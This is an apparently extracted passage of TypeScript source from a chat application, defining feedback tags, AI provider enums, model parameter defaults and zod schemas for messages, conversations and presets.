'thumbsDown',\n icon: 'ImageOff',\n },\n {\n key: 'unjustified_refusal',\n label: 'com_ui_feedback_tag_unjustified_refusal',\n direction: 'thumbsDown',\n icon: 'Ban',\n },\n {\n key: 'not_helpful',\n label: 'com_ui_feedback_tag_not_helpful',\n direction: 'thumbsDown',\n icon: 'ThumbsDown',\n },\n {\n key: 'other',\n label: 'com_ui_feedback_tag_other',\n direction: 'thumbsDown',\n icon: 'HelpCircle',\n },\n // Thumbs Up\n {\n key: 'accurate_reliable',\n label: 'com_ui_feedback_tag_accurate_reliable',\n direction: 'thumbsUp',\n icon: 'CheckCircle',\n },\n {\n key: 'creative_solution',\n label: 'com_ui_feedback_tag_creative_solution',\n direction: 'thumbsUp',\n icon: 'Lightbulb',\n },\n {\n key: 'clear_well_written',\n label: 'com_ui_feedback_tag_clear_well_written',\n direction: 'thumbsUp',\n icon: 'PenTool',\n },\n {\n key: 'attention_to_detail',\n label: 'com_ui_feedback_tag_attention_to_detail',\n direction: 'thumbsUp',\n icon: 'Search',\n },\n];\n\nexport function getTagsForRating(rating: TFeedbackRating): TFeedbackTag[] {\n return FEEDBACK_TAGS.filter((tag) => tag.direction === rating);\n}\n\nexport const feedbackTagKeySchema = z.enum(FEEDBACK_REASON_KEYS);\nexport const feedbackRatingSchema = z.enum(FEEDBACK_RATINGS);\n\nexport const feedbackSchema = z.object({\n rating: feedbackRatingSchema,\n tag: feedbackTagKeySchema,\n text: z.string().max(1024).optional(),\n});\n\nexport type TMinimalFeedback = z.infer<typeof feedbackSchema>;\n\nexport type TFeedback = {\n rating: TFeedbackRating;\n tag: TFeedbackTag | undefined;\n text?: string;\n};\n\nexport function toMinimalFeedback(feedback: TFeedback | undefined): TMinimalFeedback | undefined {\n if (!feedback?.rating || !feedback?.tag || !feedback.tag.key) {\n return undefined;\n }\n\n return {\n rating: feedback.rating,\n tag: feedback.tag.key,\n text: feedback.text,\n };\n}\n\nexport function getTagByKey(key: TFeedbackTagKey | undefined): TFeedbackTag | undefined {\n if (!key) {\n return undefined;\n }\n return FEEDBACK_TAGS.find((tag) => tag.key === key);\n}\n","import { z } from 'zod';\nimport { Tools } from './types/assistants';\nimport type { TMessageContentParts, FunctionTool, FunctionToolCall } from './types/assistants';\nimport { TFeedback, feedbackSchema } from './feedback';\nimport type { SearchResultData } from './types/web';\nimport type { TFile } from './types/files';\n\nexport const isUUID = z.string().uuid();\n\nexport enum AuthType {\n OVERRIDE_AUTH = 'override_auth',\n USER_PROVIDED = 'user_provided',\n SYSTEM_DEFINED = 'system_defined',\n}\n\nexport const authTypeSchema = z.nativeEnum(AuthType);\n\nexport enum EModelEndpoint {\n azureOpenAI = 'azureOpenAI',\n openAI = 'openAI',\n google = 'google',\n anthropic = 'anthropic',\n assistants = 'assistants',\n azureAssistants = 'azureAssistants',\n agents = 'agents',\n custom = 'custom',\n bedrock = 'bedrock',\n}\n\n/** Mirrors `@librechat/agents` providers */\nexport enum Providers {\n OPENAI = 'openAI',\n ANTHROPIC = 'anthropic',\n AZURE = 'azureOpenAI',\n GOOGLE = 'google',\n VERTEXAI = 'vertexai',\n BEDROCK = 'bedrock',\n MISTRALAI = 'mistralai',\n MISTRAL = 'mistral',\n DEEPSEEK = 'deepseek',\n MOONSHOT = 'moonshot',\n OPENROUTER = 'openrouter',\n XAI = 'xai',\n}\n\n/**\n * Endpoints that support direct PDF processing in the agent system\n */\nexport const documentSupportedProviders = new Set<string>([\n EModelEndpoint.anthropic,\n EModelEndpoint.openAI,\n EModelEndpoint.bedrock,\n EModelEndpoint.custom,\n // handled in AttachFileMenu and DragDropModal since azureOpenAI only supports documents with Use Responses API set to true\n // EModelEndpoint.azureOpenAI,\n EModelEndpoint.google,\n Providers.VERTEXAI,\n Providers.MISTRALAI,\n Providers.MISTRAL,\n Providers.DEEPSEEK,\n Providers.MOONSHOT,\n Providers.OPENROUTER,\n Providers.XAI,\n]);\n\nconst openAILikeProviders = new Set<string>([\n Providers.OPENAI,\n Providers.AZURE,\n EModelEndpoint.custom,\n Providers.MISTRALAI,\n Providers.MISTRAL,\n Providers.DEEPSEEK,\n Providers.MOONSHOT,\n Providers.OPENROUTER,\n Providers.XAI,\n]);\n\nexport const isOpenAILikeProvider = (provider?: string | null): boolean => {\n return openAILikeProviders.has(provider ?? '');\n};\n\nexport const isDocumentSupportedProvider = (provider?: string | null): boolean => {\n return documentSupportedProviders.has(provider ?? '');\n};\n\nexport const paramEndpoints = new Set<EModelEndpoint | string>([\n EModelEndpoint.agents,\n EModelEndpoint.openAI,\n EModelEndpoint.bedrock,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.anthropic,\n EModelEndpoint.custom,\n EModelEndpoint.google,\n]);\n\nexport enum BedrockProviders {\n AI21 = 'ai21',\n Amazon = 'amazon',\n Anthropic = 'anthropic',\n Cohere = 'cohere',\n DeepSeek = 'deepseek',\n Meta = 'meta',\n MistralAI = 'mistral',\n Moonshot = 'moonshot',\n MoonshotAI = 'moonshotai',\n OpenAI = 'openai',\n StabilityAI = 'stability',\n ZAI = 'zai',\n}\n\nexport const getModelKey = (endpoint: EModelEndpoint | string, model: string) => {\n if (endpoint === EModelEndpoint.bedrock) {\n const parts = model.split('.');\n const provider = [parts[0], parts[1]].find((part) =>\n Object.values(BedrockProviders).includes(part as BedrockProviders),\n );\n return (provider ?? parts[0]) as BedrockProviders;\n }\n return model;\n};\n\nexport const getSettingsKeys = (endpoint: EModelEndpoint | string, model: string) => {\n const endpointKey = endpoint;\n const modelKey = getModelKey(endpointKey, model);\n const combinedKey = `${endpointKey}-${modelKey}`;\n return [combinedKey, endpointKey];\n};\n\nexport type AssistantsEndpoint = EModelEndpoint.assistants | EModelEndpoint.azureAssistants;\n\nexport const isAssistantsEndpoint = (_endpoint?: AssistantsEndpoint | null | string): boolean => {\n const endpoint = _endpoint ?? '';\n if (!endpoint) {\n return false;\n }\n return endpoint.toLowerCase().endsWith(EModelEndpoint.assistants);\n};\n\nexport type AgentProvider = Exclude<keyof typeof EModelEndpoint, EModelEndpoint.agents> | string;\n\nexport const isAgentsEndpoint = (_endpoint?: EModelEndpoint.agents | null | string): boolean => {\n const endpoint = _endpoint ?? '';\n if (!endpoint) {\n return false;\n }\n return endpoint === EModelEndpoint.agents;\n};\n\nexport const isParamEndpoint = (\n endpoint: EModelEndpoint | string,\n endpointType?: EModelEndpoint | string,\n): boolean => {\n if (paramEndpoints.has(endpoint)) {\n return true;\n }\n\n if (endpointType != null) {\n return paramEndpoints.has(endpointType);\n }\n\n return false;\n};\n\nexport enum ImageDetail {\n low = 'low',\n auto = 'auto',\n high = 'high',\n}\n\nexport enum ReasoningEffort {\n unset = '',\n none = 'none',\n minimal = 'minimal',\n low = 'low',\n medium = 'medium',\n high = 'high',\n xhigh = 'xhigh',\n}\n\nexport enum AnthropicEffort {\n unset = '',\n low = 'low',\n medium = 'medium',\n high = 'high',\n max = 'max',\n}\n\nexport enum BedrockReasoningConfig {\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport enum ReasoningSummary {\n none = '',\n auto = 'auto',\n concise = 'concise',\n detailed = 'detailed',\n}\n\nexport enum Verbosity {\n none = '',\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport enum ThinkingLevel {\n unset = '',\n minimal = 'minimal',\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport const imageDetailNumeric = {\n [ImageDetail.low]: 0,\n [ImageDetail.auto]: 1,\n [ImageDetail.high]: 2,\n};\n\nexport const imageDetailValue = {\n 0: ImageDetail.low,\n 1: ImageDetail.auto,\n 2: ImageDetail.high,\n};\n\nexport const eImageDetailSchema = z.nativeEnum(ImageDetail);\nexport const eReasoningEffortSchema = z.nativeEnum(ReasoningEffort);\nexport const eAnthropicEffortSchema = z.nativeEnum(AnthropicEffort);\nexport const eReasoningSummarySchema = z.nativeEnum(ReasoningSummary);\nexport const eVerbositySchema = z.nativeEnum(Verbosity);\nexport const eThinkingLevelSchema = z.nativeEnum(ThinkingLevel);\n\nexport const defaultAssistantFormValues = {\n assistant: '',\n id: '',\n name: '',\n description: '',\n instructions: '',\n conversation_starters: [],\n model: '',\n functions: [],\n code_interpreter: false,\n image_vision: false,\n retrieval: false,\n append_current_datetime: false,\n};\n\nexport const defaultAgentFormValues = {\n agent: {},\n id: '',\n name: '',\n description: '',\n instructions: '',\n model: '',\n model_parameters: {},\n tools: [],\n tool_options: {},\n provider: {},\n edges: [],\n artifacts: '',\n recursion_limit: undefined,\n [Tools.execute_code]: false,\n [Tools.file_search]: false,\n [Tools.web_search]: false,\n category: 'general',\n support_contact: {\n name: '',\n email: '',\n },\n};\n\nexport const ImageVisionTool: FunctionTool = {\n type: Tools.function,\n [Tools.function]: {\n name: 'image_vision',\n description: 'Get detailed text descriptions for all current image attachments.',\n parameters: {\n type: 'object',\n properties: {},\n required: [],\n },\n },\n};\n\nexport const isImageVisionTool = (tool: FunctionTool | FunctionToolCall) =>\n tool.type === 'function' && tool.function?.name === ImageVisionTool.function?.name;\n\nexport const openAISettings = {\n model: {\n default: 'gpt-4o-mini' as const,\n },\n temperature: {\n min: 0 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n top_p: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n presence_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n frequency_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n max_tokens: {\n default: undefined,\n },\n imageDetail: {\n default: ImageDetail.auto as const,\n min: 0 as const,\n max: 2 as const,\n step: 1 as const,\n },\n};\n\nexport const googleSettings = {\n model: {\n default: 'gemini-1.5-flash-latest' as const,\n },\n maxOutputTokens: {\n min: 1 as const,\n max: 64000 as const,\n step: 1 as const,\n default: 8192 as const,\n },\n temperature: {\n min: 0 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n topP: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 0.95 as const,\n },\n topK: {\n min: 1 as const,\n max: 40 as const,\n step: 1 as const,\n default: 40 as const,\n },\n thinking: {\n default: true as const,\n },\n thinkingBudget: {\n min: -1 as const,\n max: 32000 as const,\n step: 1 as const,\n /** `-1` = Dynamic Thinking, meaning the model will adjust\n * the budget based on the complexity of the request.\n */\n default: -1 as const,\n },\n thinkingLevel: {\n default: ThinkingLevel.unset as const,\n },\n};\n\nconst ANTHROPIC_MAX_OUTPUT = 128000 as const;\nconst CLAUDE_4_64K_MAX_OUTPUT = 64000 as const;\nconst CLAUDE_32K_MAX_OUTPUT = 32000 as const;\nconst DEFAULT_MAX_OUTPUT = 8192 as const;\nconst LEGACY_ANTHROPIC_MAX_OUTPUT = 4096 as const;\nexport const anthropicSettings = {\n model: {\n default: 'claude-3-5-sonnet-latest' as const,\n },\n temperature: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n promptCache: {\n default: true as const,\n },\n thinking: {\n default: true as const,\n },\n thinkingBudget: {\n min: 1024 as const,\n step: 100 as const,\n max: 200000 as const,\n default: 2000 as const,\n },\n maxOutputTokens: {\n min: 1 as const,\n max: ANTHROPIC_MAX_OUTPUT,\n step: 1 as const,\n default: DEFAULT_MAX_OUTPUT,\n reset: (modelName: string) => {\n if (/claude-opus[-.]?(?:4[-.]?(?:[6-9]|\\d{2,})|[5-9]|\\d{2,})/.test(modelName)) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n\n if (/claude-(?:sonnet|haiku)[-.]?[4-9]/.test(modelName)) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?(?:[5-9]|4[-.]?([5-9]|\\d{2,}))/.test(modelName)) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?[4-9]/.test(modelName)) {\n return CLAUDE_32K_MAX_OUTPUT;\n }\n\n return DEFAULT_MAX_OUTPUT;\n },\n set: (value: number, modelName: string) => {\n if (/claude-opus[-.]?(?:4[-.]?(?:[6-9]|\\d{2,})|[5-9]|\\d{2,})/.test(modelName)) {\n if (value > ANTHROPIC_MAX_OUTPUT) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n return value;\n }\n\n if (/claude-(?:sonnet|haiku)[-.]?[4-9]/.test(modelName) && value > CLAUDE_4_64K_MAX_OUTPUT) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n\n if (/claude-opus[-.]?(?:[5-9]|4[-.]?([5-9]|\\d{2,}))/.test(modelName)) {\n if (value > CLAUDE_4_64K_MAX_OUTPUT) {\n return CLAUDE_4_64K_MAX_OUTPUT;\n }\n return value;\n }\n\n if (/claude-opus[-.]?[4-9]/.test(modelName) && value > CLAUDE_32K_MAX_OUTPUT) {\n return CLAUDE_32K_MAX_OUTPUT;\n }\n\n if (value > ANTHROPIC_MAX_OUTPUT) {\n return ANTHROPIC_MAX_OUTPUT;\n }\n\n return value;\n },\n },\n topP: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 0.7 as const,\n },\n topK: {\n min: 1 as const,\n max: 40 as const,\n step: 1 as const,\n default: 5 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n legacy: {\n maxOutputTokens: {\n min: 1 as const,\n max: LEGACY_ANTHROPIC_MAX_OUTPUT,\n step: 1 as const,\n default: LEGACY_ANTHROPIC_MAX_OUTPUT,\n },\n },\n effort: {\n default: AnthropicEffort.unset,\n options: [\n AnthropicEffort.unset,\n AnthropicEffort.low,\n AnthropicEffort.medium,\n AnthropicEffort.high,\n AnthropicEffort.max,\n ],\n },\n web_search: {\n default: false as const,\n },\n};\n\nexport const agentsSettings = {\n model: {\n default: 'gpt-3.5-turbo-test' as const,\n },\n temperature: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n top_p: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n presence_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n frequency_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 0 as const,\n },\n resendFiles: {\n default: true as const,\n },\n maxContextTokens: {\n default: undefined,\n },\n max_tokens: {\n default: undefined,\n },\n imageDetail: {\n default: ImageDetail.auto as const,\n },\n};\n\nexport const endpointSettings = {\n [EModelEndpoint.openAI]: openAISettings,\n [EModelEndpoint.google]: googleSettings,\n [EModelEndpoint.anthropic]: anthropicSettings,\n [EModelEndpoint.agents]: agentsSettings,\n [EModelEndpoint.bedrock]: agentsSettings,\n};\n\nconst google = endpointSettings[EModelEndpoint.google];\n\nexport const eModelEndpointSchema = z.nativeEnum(EModelEndpoint);\n\nexport const extendedModelEndpointSchema = z.union([eModelEndpointSchema, z.string()]);\n\nexport const tPluginAuthConfigSchema = z.object({\n authField: z.string(),\n label: z.string(),\n description: z.string(),\n optional: z.boolean().optional(),\n});\n\nexport type TPluginAuthConfig = z.infer<typeof tPluginAuthConfigSchema>;\n\nexport const tPluginSchema = z.object({\n name: z.string(),\n pluginKey: z.string(),\n description: z.string().optional(),\n icon: z.string().optional(),\n authConfig: z.array(tPluginAuthConfigSchema).optional(),\n authenticated: z.boolean().optional(),\n chatMenu: z.boolean().optional(),\n isButton: z.boolean().optional(),\n toolkit: z.boolean().optional(),\n});\n\nexport type TPlugin = z.infer<typeof tPluginSchema>;\n\nexport type TInput = {\n inputStr: string;\n};\n\nexport const tExampleSchema = z.object({\n input: z.object({\n content: z.string(),\n }),\n output: z.object({\n content: z.string(),\n }),\n});\n\nexport type TExample = z.infer<typeof tExampleSchema>;\n\nexport const tMessageSchema = z.object({\n messageId: z.string(),\n endpoint: z.string().optional(),\n clientId: z.string().nullable().optional(),\n conversationId: z.string().nullable(),\n parentMessageId: z.string().nullable(),\n responseMessageId: z.string().nullable().optional(),\n overrideParentMessageId: z.string().nullable().optional(),\n bg: z.string().nullable().optional(),\n model: z.string().nullable().optional(),\n title: z.string().nullable().or(z.literal('New Chat')).default('New Chat'),\n sender: z.string().optional(),\n text: z.string(),\n /** @deprecated */\n generation: z.string().nullable().optional(),\n isCreatedByUser: z.boolean(),\n error: z.boolean().optional(),\n clientTimestamp: z.string().optional(),\n createdAt: z\n .string()\n .optional()\n .default(() => new Date().toISOString()),\n updatedAt: z\n .string()\n .optional()\n .default(() => new Date().toISOString()),\n current: z.boolean().optional(),\n unfinished: z.boolean().optional(),\n searchResult: z.boolean().optional(),\n finish_reason: z.string().optional(),\n /* assistant */\n thread_id: z.string().optional(),\n /* frontend components */\n iconURL: z.string().nullable().optional(),\n feedback: feedbackSchema.optional(),\n /** metadata */\n metadata: z.record(z.unknown()).optional(),\n contextMeta: z\n .object({\n calibrationRatio: z\n .number()\n .optional()\n .describe(\n 'EMA ratio of provider-reported vs local token estimates; seeds the pruner on subsequent runs',\n ),\n encoding: z\n .string()\n .optional()\n .describe(\n 'Tokenizer encoding used when this ratio was computed (e.g. \"claude\", \"o200k_base\")',\n ),\n })\n .optional(),\n});\n\nexport type MemoryArtifact = {\n key: string;\n value?: string;\n tokenCount?: number;\n type: 'update' | 'delete' | 'error';\n};\n\nexport type UIResource = {\n resourceId: string;\n uri: string;\n mimeType?: string;\n text?: string;\n [key: string]: unknown;\n};\n\nexport type TAttachmentMetadata = {\n type?: Tools;\n messageId: string;\n toolCallId: string;\n [Tools.memory]?: MemoryArtifact;\n [Tools.ui_resources]?: UIResource[];\n [Tools.web_search]?: SearchResultData;\n [Tools.file_search]?: SearchResultData;\n};\n\nexport type TAttachment =\n | (TFile & TAttachmentMetadata)\n | (Pick<TFile, 'filename' | 'filepath' | 'conversationId'> & {\n expiresAt: number;\n } & TAttachmentMetadata)\n | (Partial<Pick<TFile, 'filename' | 'filepath'>> &\n Pick<TFile, 'conversationId'> &\n TAttachmentMetadata);\n\nexport type TMessage = z.input<typeof tMessageSchema> & {\n children?: TMessage[];\n content?: TMessageContentParts[];\n files?: Partial<TFile>[];\n depth?: number;\n siblingIndex?: number;\n attachments?: TAttachment[];\n clientTimestamp?: string;\n feedback?: TFeedback;\n};\n\nexport const coerceNumber = z.union([z.number(), z.string()]).transform((val) => {\n if (typeof val === 'string') {\n return val.trim() === '' ? undefined : parseFloat(val);\n }\n return val;\n});\n\ntype DocumentTypeValue =\n | null\n | boolean\n | number\n | string\n | DocumentTypeValue[]\n | { [key: string]: DocumentTypeValue };\n\nconst DocumentType: z.ZodType<DocumentTypeValue> = z.lazy(() =>\n z.union([\n z.null(),\n z.boolean(),\n z.number(),\n z.string(),\n z.array(z.lazy(() => DocumentType)),\n z.record(z.lazy(() => DocumentType)),\n ]),\n);\n\nexport const tConversationSchema = z.object({\n conversationId: z.string().nullable(),\n endpoint: eModelEndpointSchema.nullable(),\n endpointType: eModelEndpointSchema.nullable().optional(),\n isArchived: z.boolean().optional(),\n title: z.string().nullable().or(z.literal('New Chat')).default('New Chat'),\n user: z.string().optional(),\n messages: z.array(z.string()).optional(),\n tools: z.union([z.array(tPluginSchema), z.array(z.string())]).optional(),\n modelLabel: z.string().nullable().optional(),\n userLabel: z.string().optional(),\n model: z.string().nullable().optional(),\n promptPrefix: z.string().nullable().optional(),\n temperature: z.number().nullable().optional(),\n topP: z.number().optional(),\n topK: z.number().optional(),\n top_p: z.number().optional(),\n frequency_penalty: z.number().optional(),\n presence_penalty: z.number().optional(),\n parentMessageId: z.string().optional(),\n maxOutputTokens: coerceNumber.nullable().optional(),\n maxContextTokens: coerceNumber.optional(),\n max_tokens: coerceNumber.optional(),\n /* Anthropic */\n promptCache: z.boolean().optional(),\n system: z.string().optional(),\n thinking: z.boolean().optional(),\n thinkingBudget: coerceNumber.optional(),\n thinkingLevel: eThinkingLevelSchema.optional(),\n stream: z.boolean().optional(),\n /* artifacts */\n artifacts: z.string().optional(),\n /* google */\n context: z.string().nullable().optional(),\n examples: z.array(tExampleSchema).optional(),\n /* DB */\n tags: z.array(z.string()).optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n /* Files */\n resendFiles: z.boolean().optional(),\n file_ids: z.array(z.string()).optional(),\n /* vision */\n imageDetail: eImageDetailSchema.optional(),\n /* OpenAI: Reasoning models only */\n reasoning_effort: eReasoningEffortSchema.optional().nullable(),\n reasoning_summary: eReasoningSummarySchema.optional().nullable(),\n /* OpenAI: Verbosity control */\n verbosity: eVerbositySchema.optional().nullable(),\n /* OpenAI: use Responses API */\n useResponsesApi: z.boolean().optional(),\n /* Anthropic: Effort control */\n effort: eAnthropicEffortSchema.optional().nullable(),\n /* OpenAI Responses API / Anthropic API / Google API */\n web_search: z.boolean().optional(),\n /* disable streaming */\n disableStreaming: z.boolean().optional(),\n /* assistant */\n assistant_id: z.string().optional(),\n /* agents */\n agent_id: z.string().optional(),\n /* AWS Bedrock */\n region: z.string().optional(),\n maxTokens: coerceNumber.optional(),\n additionalModelRequestFields: DocumentType.optional(),\n /* assistants */\n instructions: z.string().optional(),\n additional_instructions: z.string().optional(),\n append_current_datetime: z.boolean().optional(),\n /** Used to overwrite active conversation settings when saving a Preset */\n presetOverride: z.record(z.unknown()).optional(),\n stop: z.array(z.string()).optional(),\n /* frontend components */\n greeting: z.string().optional(),\n spec: z.string().nullable().optional(),\n iconURL: z.string().nullable().optional(),\n /* temporary chat */\n expiredAt: z.string().nullable().optional(),\n /* file token limits */\n fileTokenLimit: coerceNumber.optional(),\n /** @deprecated */\n resendImages: z.boolean().optional(),\n /** @deprecated Prefer `modelLabel` over `chatGptLabel` */\n chatGptLabel: z.string().nullable().optional(),\n});\n\nexport const tPresetSchema = tConversationSchema\n .omit({\n conversationId: true,\n createdAt: true,\n updatedAt: true,\n title: true,\n })\n .merge(\n z.object({\n conversationId: z.string().nullable().optional(),\n presetId: z.string().nullable().optional(),\n title: z.string().nullable().optional(),\n defaultPreset: z.boolean().optional(),\n order: z.number().optional(),\n endpoint: extendedModelEndpointSchema.nullable(),\n }),\n );\n\nexport const tConvoUpdateSchema = tConversationSchema.merge(\n z.object({\n endpoint: extendedModelEndpointSchema.nullable(),\n createdAt: z.string().optional(),\n updatedAt: z.string().optional(),\n }),\n);\n\nexport const tQueryParamsSchema = tConversationSchema\n .pick({\n // librechat settings\n /** The model spec to be used */\n spec: true,\n /** The AI context window, overrides the system-defined window as determined by `model` value */\n maxContextTokens: true,\n /**\n * Whether or not to re-submit files from previous messages on subsequent messages\n * */\n resendFiles: true,\n /**\n * @endpoints openAI, custom, azureOpenAI\n *\n * System parameter that only affects the above endpoints.\n * Image detail for re-sizing according to OpenAI spec, defaults to `auto`\n * */\n imageDetail: true,\n /**\n * AKA Custom Instructions, dynamically added to chat history as a system message;\n * for `bedrock` endpoint, this is used as the `system` model param if the provider uses it;\n * for `assistants` endpoint, this is used as the `additional_instructions` model param:\n * https://platform.openai.com/docs/api-reference/runs/createRun#runs-createrun-additional_instructions\n * ; otherwise, a message with `system` role is added to the chat history\n */\n promptPrefix: true,\n // Model parameters\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, assistants, azureAssistants, bedrock */\n model: true,\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, bedrock */\n temperature: true,\n /** @endpoints openAI, custom, azureOpenAI */\n presence_penalty: true,\n /** @endpoints openAI, custom, azureOpenAI */\n frequency_penalty: true,\n /** @endpoints openAI, custom, azureOpenAI */\n stop: true,\n /** @endpoints openAI, custom, azureOpenAI */\n top_p: true,\n /** @endpoints openAI, custom, azureOpenAI */\n max_tokens: true,\n /** @endpoints openAI, custom, azureOpenAI */\n reasoning_effort: true,\n /** @endpoints openAI, custom, azureOpenAI */\n reasoning_summary: true,\n /** @endpoints openAI, custom, azureOpenAI */\n verbosity: true,\n /** @endpoints openAI, custom, azureOpenAI */\n useResponsesApi: true,\n /** @endpoints openAI, anthropic, google */\n web_search: true,\n /** @endpoints openAI, custom, azureOpenAI */\n disableStreaming: true,\n /** @endpoints google, anthropic, bedrock */\n topP: true,\n /** @endpoints google, anthropic */\n topK: true,\n /** @endpoints google, anthropic */\n maxOutputTokens: true,\n /** @endpoints anthropic */\n promptCache: true,\n thinking: true,\n thinkingBudget: true,\n thinkingLevel: true,\n effort: true,\n /** @endpoints bedrock */\n region: true,\n /** @endpoints bedrock */\n maxTokens: true,\n /** @endpoints agents */\n agent_id: true,\n /** @endpoints assistants, azureAssistants */\n assistant_id: true,\n /** @endpoints assistants, azureAssistants */\n append_current_datetime: true,\n /**\n * @endpoints assistants, azureAssistants\n *\n * Overrides existing assistant instructions, only used for the current run:\n * https://platform.openai.com/docs/api-reference/runs/createRun#runs-createrun-instructions\n * */\n instructions: true,\n /** @endpoints openAI, google, anthropic */\n fileTokenLimit: true,\n })\n .merge(\n z.object({\n /** @endpoints openAI, custom, azureOpenAI, google, anthropic, assistants, azureAssistants, bedrock, agents */\n endpoint: extendedModelEndpointSchema.nullable(),\n }),\n );\n\n/** Narrowed preset schema for use in model specs — omits system/DB/deprecated fields */\nexport const tModelSpecPresetSchema = tPresetSchema.omit({\n isArchived: true,\n user: true,\n messages: true,\n tags: true,\n file_ids: true,\n expiredAt: true,\n parentMessageId: true,\n resendImages: true,\n chatGptLabel: true,\n presetOverride: true,\n greeting: true,\n iconURL: true,\n spec: true,\n});\n\nexport type TModelSpecPreset = z.infer<typeof tModelSpecPresetSchema>;\n\nexport type TPreset = z.infer<typeof tPresetSchema>;\n\nexport type TSetOption = (\n param: number | string,\n) => (newValue: number | string | boolean | string[] | Partial<TPreset>) => void;\n\nexport type TConversation = z.infer<typeof tConversationSchema> & {\n presetOverride?: Partial<TPreset>;\n disableParams?: boolean;\n};\n\nexport const tSharedLinkSchema = z.object({\n conversationId: z.string(),\n shareId: z.string(),\n messages: z.array(z.string()),\n isPublic: z.boolean(),\n title: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n});\n\nexport type TSharedLink = z.infer<typeof tSharedLinkSchema>;\n\nexport const tConversationTagSchema = z.object({\n _id: z.string(),\n user: z.string(),\n tag: z.string(),\n description: z.string().optional(),\n createdAt: z.string(),\n updatedAt: z.string(),\n count: z.number(),\n position: z.number(),\n});\nexport type TConversationTag = z.infer<typeof tConversationTagSchema>;\n\nexport const googleBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n promptPrefix: true,\n examples: true,\n temperature: true,\n maxOutputTokens: true,\n artifacts: true,\n topP: true,\n topK: true,\n thinking: true,\n thinkingBudget: true,\n thinkingLevel: true,\n web_search: true,\n fileTokenLimit: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxContextTokens: true,\n});\n\nexport const googleSchema = googleBaseSchema\n .transform((obj: Partial<TConversation>) => removeNullishValues(obj, true))\n .catch(() => ({}));\n\n/**\n * TODO: Map the following fields:\n - presence_penalty -> presencePenalty\n - frequency_penalty -> frequencyPenalty\n - stop -> stopSequences\n */\nexport const googleGenConfigSchema = z\n .object({\n maxOutputTokens: coerceNumber.optional(),\n temperature: coerceNumber.optional(),\n topP: coerceNumber.optional(),\n topK: coerceNumber.optional(),\n presencePenalty: coerceNumber.optional(),\n frequencyPenalty: coerceNumber.optional(),\n stopSequences: z.array(z.string()).optional(),\n thinkingConfig: z\n .object({\n includeThoughts: z.boolean().optional(),\n thinkingBudget: coerceNumber.optional(),\n thinkingLevel: z.string().optional(),\n })\n .optional(),\n web_search: z.boolean().optional(),\n })\n .strip()\n .optional();\n\nexport function removeNullishValues<T extends Record<string, unknown>>(\n obj: T,\n removeEmptyStrings?: boolean,\n): Partial<T> {\n const newObj: Partial<T> = { ...obj };\n\n (Object.keys(newObj) as Array<keyof T>).forEach((key) => {\n const value = newObj[key];\n if (value === undefined || value === null) {\n delete newObj[key];\n }\n if (removeEmptyStrings && typeof value === 'string' && value === '') {\n delete newObj[key];\n }\n });\n\n return newObj;\n}\n\nconst assistantBaseSchema = tConversationSchema.pick({\n model: true,\n assistant_id: true,\n instructions: true,\n artifacts: true,\n promptPrefix: true,\n iconURL: true,\n greeting: true,\n spec: true,\n append_current_datetime: true,\n});\n\nexport const assistantSchema = assistantBaseSchema\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? openAISettings.model.default,\n assistant_id: obj.assistant_id ?? undefined,\n instructions: obj.instructions ?? undefined,\n promptPrefix: obj.promptPrefix ?? null,\n iconURL: obj.iconURL ?? undefined,\n greeting: obj.greeting ?? undefined,\n spec: obj.spec ?? undefined,\n append_current_datetime: obj.append_current_datetime ?? false,\n }))\n .catch(() => ({\n model: openAISettings.model.default,\n assistant_id: undefined,\n instructions: undefined,\n promptPrefix: null,\n iconURL: undefined,\n greeting: undefined,\n spec: undefined,\n append_current_datetime: false,\n }));\n\nconst compactAssistantBaseSchema = tConversationSchema.pick({\n model: true,\n assistant_id: true,\n instructions: true,\n promptPrefix: true,\n artifacts: true,\n iconURL: true,\n greeting: true,\n spec: true,\n});\n\nexport const compactAssistantSchema = compactAssistantBaseSchema\n .transform((obj) => removeNullishValues(obj))\n .catch(() => ({}));\n\nexport const agentsBaseSchema = tConversationSchema.pick({\n model: true,\n modelLabel: true,\n temperature: true,\n top_p: true,\n presence_penalty: true,\n frequency_penalty: true,\n resendFiles: true,\n imageDetail: true,\n agent_id: true,\n instructions: true,\n promptPrefix: true,\n iconURL: true,\n greeting: true,\n maxContextTokens: true,\n});\n\nexport const agentsSchema = agentsBaseSchema\n .transform((obj) => ({\n ...obj,\n model: obj.model ?? agentsSettings.model.default,\n modelLabel: 